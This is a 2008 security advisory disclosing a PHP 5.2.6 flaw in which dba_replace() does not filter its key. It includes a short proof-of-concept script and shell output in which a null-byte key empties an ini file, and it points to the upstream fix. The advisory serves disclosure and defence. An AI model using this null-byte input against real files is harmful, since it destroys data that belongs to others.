SecurityReason : PHP 5.2.6 dba_replace() destroying file
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[ SecurityReason.com PHP 5.2.6 dba_replace() destroying file ]
Author: Maksymilian Arciemowicz
http://securityreason.com
Date:
- - Written: 10.11.2008
- - Public: 28.11.2008
SecurityReason Research
SecurityAlert Id: 58
SecurityRisk: Medium
Affected Software: PHP 5.2.6
Advisory URL: http://securityreason.com/achievement_securityalert/58
Vendor: http://www.php.net
- --- 0.Description ---
PHP is an HTML-embedded scripting language. Much of its syntax is borrowed from
C, Java and Perl with a couple of unique PHP-specific features thrown in. The
goal of the language is to allow web developers to write dynamically generated
pages quickly.
NOTE:
These functions build the foundation for accessing Berkeley DB style databases.
dba_replace - Replace or insert entry
- --- 1. dba_replace() destroying file ---
Function dba_replace() are not filtring strings key and value. There is a
possibility the destruction of the file.
# cat /www/dba.hack.php
<?php
$source=dba_open("/www/about.ini", "wlt", "inifile");
dba_replace("HOME","/www/",$source);
?>
# cat /www/about.ini
PATH=/
CURR=.
HOME=/home/
# php /www/dba.hack.php
# cat /www/about.ini
PATH=/
CURR=.
HOME=/www/
#
Well.
But, lets try use
# cat /www/dba.ham.php
<?php
$source=dba_open("/www/about.ini", "wlt", "inifile");
dba_replace("\0","/www/",$source);
?>
# php /www/dba.ham.php
# cat /www/about.ini
#
Now /www/about.ini, is emtpy.
- --- 2. How to fix ---
Fixed in CVS
http://cvs.php.net/viewvc.cgi/php-src/NEWS?r1=1.2027.2.547.2.1313&r2=1.2027.2.547.2.1314&;
- --- 3. Greets ---
sp3x p_e_a Infospec schain
- --- 4. Contact ---
Author: SecurityReason [ Maksymilian Arciemowicz ]
Email: cxib [ a t] securityreason [d ot ] com
GPG: http://securityreason.pl/key/Arciemowicz.Maksymilian.gpg
http://securityreason.com
http://securityreason.pl
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